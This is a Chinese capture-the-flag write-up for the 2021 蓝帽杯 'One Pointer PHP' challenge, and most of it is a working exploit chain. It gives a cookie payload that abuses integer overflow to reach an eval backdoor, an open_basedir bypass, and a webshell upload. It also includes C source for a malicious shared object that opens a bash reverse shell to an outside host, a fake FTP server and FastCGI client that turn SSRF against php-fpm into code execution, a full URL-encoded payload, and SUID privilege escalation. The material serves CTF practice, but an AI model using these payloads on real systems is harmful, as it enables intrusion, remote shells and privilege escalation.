BUUFTC-日刷-[蓝帽杯 2021]One Pointer PHP-fpm/提权
首先下载源码，两份php文件，由于include另一个，因此可以合并：
<?php class User{ public $count; } if($user=unserialize($_COOKIE["data"])){ $count[++$user->count]=1; if($count[]=1){ $user->count+=1; setcookie("data",serialize($user)); }else{ eval($_GET["backdoor"]); } }else{ $user=new User; $user->count=1; setcookie("data",serialize($user)); } ?>
逻辑就是每次访问会尝试反序列化cookie中的data为user类，并且读取count，然后会让一个数组count++置为1，在进行if，if内容是数组置1，否则进入后门
要是尝试反序列失败则会创建user类的序列化话数据存到cookie中。
那么我们目的很明显了，就是让：if($count[]=1)为flase
这里试一下数组下标为空会取到哪：
不难发现是在数组最后在后面一位置为1
但是值得注意的是这里并不是判断，而是赋值，也就是恒为true。这里用到php数组的溢出
php数组溢出： 在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。
当然我们是64位来着，最大值为9223372036854775807;我们测试一下：
可以看到输出了no，因为赋值失败了。因此我们可以通过这种方法绕过
cookie的data序列化数据置为大数，
data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D
同时get窜扰backdoor即可
尝试system发现没反应，应该是过滤了，先看看phpinfo
过滤了一大堆函数，但是我们可以尝试传入print_r(‘glob (‘/*’)’)看看根目录有啥，但是发现没回显，仔细观察phpinfo
Open_basedir是PHP设置中为了防御PHP跨目录进行文件（目录）读写的方法，所有PHP中有关文件读、写的函数都会经过open_basedir的检查。
Open_basedir实际上是一些目录的集合，在定义了open_basedir以后，php可以读写的文件、目录都将被限制在这些目录中。
由于这个，我们没法看到根目录有啥（当然它对system无效，但是system被过滤了），下一步就是想办法绕过这个限制
#!php <?php printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir')); $file_list = array(); // normal files $it = new DirectoryIterator("glob:///*"); foreach($it as $f) { $file_list[] = $f->__toString(); } // special files (starting with a dot(.)) $it = new DirectoryIterator("glob:///.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; } ?>
我们写入一个php文件并且访问它
（这里我一开始用file_put_contents函数写入，因为编码格式怎么也写不进去，后来直接蚁剑连一句话木马来写入了）
可以看到根目录底下确实有flag，下一步就是想办法读取了
这里可以用
<?php mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); var_dump(file_get_contents("/flag"));
原理很复杂（其实是我还没看），总之效果就是重写了open_basedir，因此上面列目录也可以用这个脚本，但是多收集一些方法也是好的）
但是发现无法读取（别的都能读取）。。。 那只能转换思路
再看看phpinfo
发现一个提示（开始英语不好，还以为这是啥php自带属性来着），那么就用上面的脚本来找找这个文件在哪
我们可以在 /proc/self/maps 找到该文件目录
看wp说本意是pwn它，但是我看了许多人，也没见着谁pwn的。（可以复制到web底下，用蚁剑下下来研究）
这里我还是采用网上大部人的解法，就是不管这个so文件，
继续看phpinfo
发现了php-fpm，至于这是个啥
PHP-FPM(FastCGI Process Manager：FastCGI进程管理器)是一个PHPFastCGI管理器
具体我没用过，也没有研究过。简而言之就是它是个接收信息并且解释的东西，我们主要来复现它的漏洞，就是伪造服务端和它通信，进行ssrf，可以参考博客
首先找到它监听的端口号，继续用上面的读取文件脚本读取 /usr/local/etc/php-fpm.d/www.conf
发现监听9001端口
先做好前置准备，生成一个恶意的so文件，等会要用，内容是反弹shell
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> __attribute__ ((__constructor__)) void preload (void){ system("bash -c 'bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1'"); }
编译一下
gcc test.c -fPIC -shared -o test.so
然后用蚁剑上传这个恶意so
在自己服务器上搭建ftp(用的python)
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 8989))#这里是ftp的端口 s.listen(1) conn, addr = s.accept() conn.send(b'220 welcome\n') #Service ready for new user. #Client send anonymous username #USER anonymous conn.send(b'331 Please specify the password.\n') #User name okay, need password. #Client send anonymous password. #PASS anonymous conn.send(b'230 Login successful.\n') #User logged in, proceed. Logged out if appropriate. #TYPE I conn.send(b'200 Switching to Binary mode.\n') #Size / conn.send(b'550 Could not get the file size.\n') #EPSV (1) conn.send(b'150 ok\n') #PASV conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2) conn.send(b'150 Permission denied.\n') #QUIT conn.send(b'221 Goodbye.\n') conn.close()
然后运行攻击脚本生成payload
<?php /** * Note : Code is released under the GNU LGPL * * Please do not change the header of this file * * This library is free software; you can redistribute it and/or modify it under the terms of the GNU * Lesser General Public License as published by the Free Software Foundation; either version 2 of * the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * See the GNU Lesser General Public License for more details. */ /** * Handles communication with a FastCGI application * * @author Pierrick Charron <pierrick@webstart.fr> * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; // $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); echo('?file=ftp://ip:9999/&data='.urlencode($request)); // fwrite($this->_sock, $request); // do { // $resp = $this->readPacket(); // if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { // $response .= $resp['content']; // } // } while ($resp && $resp['type'] != self::END_REQUEST); // var_dump($resp); // if (!is_array($resp)) { // throw new Exception('Bad request'); // } // switch (ord($resp['content']{4})) { // case self::CANT_MPX_CONN: // throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); // break; // case self::OVERLOADED: // throw new Exception('New request rejected; too busy [OVERLOADED]'); // break; // case self::UNKNOWN_ROLE: // throw new Exception('Role value not known [UNKNOWN_ROLE]'); // break; // case self::REQUEST_COMPLETE: // return $response; // } } } ?> <?php // real exploit start here //if (!isset($_REQUEST['cmd'])) { // die("Check your input\n"); //} //if (!isset($_REQUEST['filepath'])) { // $filepath = __FILE__; //}else{ // $filepath = $_REQUEST['filepath']; //} $filepath = "/var/www/html/add_api.php"; $req = '/'.basename($filepath); $uri = $req .'?'.'command=whoami'; $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1); $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; $php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = 1.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = "; //注意修改这里的so文件名称和路径 $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command=whoami', 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9001', // 注意这里的FPM端口 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?>
把这个脚本蚁剑传到靶机上，访问获得payload
?file=ftp://ip:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02B%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B6PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Fvar%2Fwww%2Fhtml%0Aextension+%3D+1.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
重要的data部分
构造最终payload（注意改一下服务器地址和端口）
add_api.php?backdoor=phpinfo();file_put_contents($_GET[%27file%27],$_GET[%27data%27]);&file=ftp://50.xx.xx.25:10023/1&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
记得访问的时候带上cookie，还有云服务器的防火墙啥的（卡了半天）
拿到shell，尝试拿flag
权限不够，这里用suid提权
find / -perm -u=s -type f 2>/dev/null
看看啥指令权限高点的
发现php有，那直接进入交互界面拿flag
先输入
php -a
进入交互后，输入下面即可（php.ini 禁止system和目录还是在的，所以用之前脚本再跑一遍）
mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..'); chdir('..');chdir('..');chdir('..');chdir('..'); ini_set('open_basedir','/'); var_dump(file_get_contents("/usr/local/etc/php-fpm.d/www.conf"));
至此，这道题目总算发现完成了，貌似还可以用蚁剑自带的功能代替跑脚本，这个下次复现吧（）
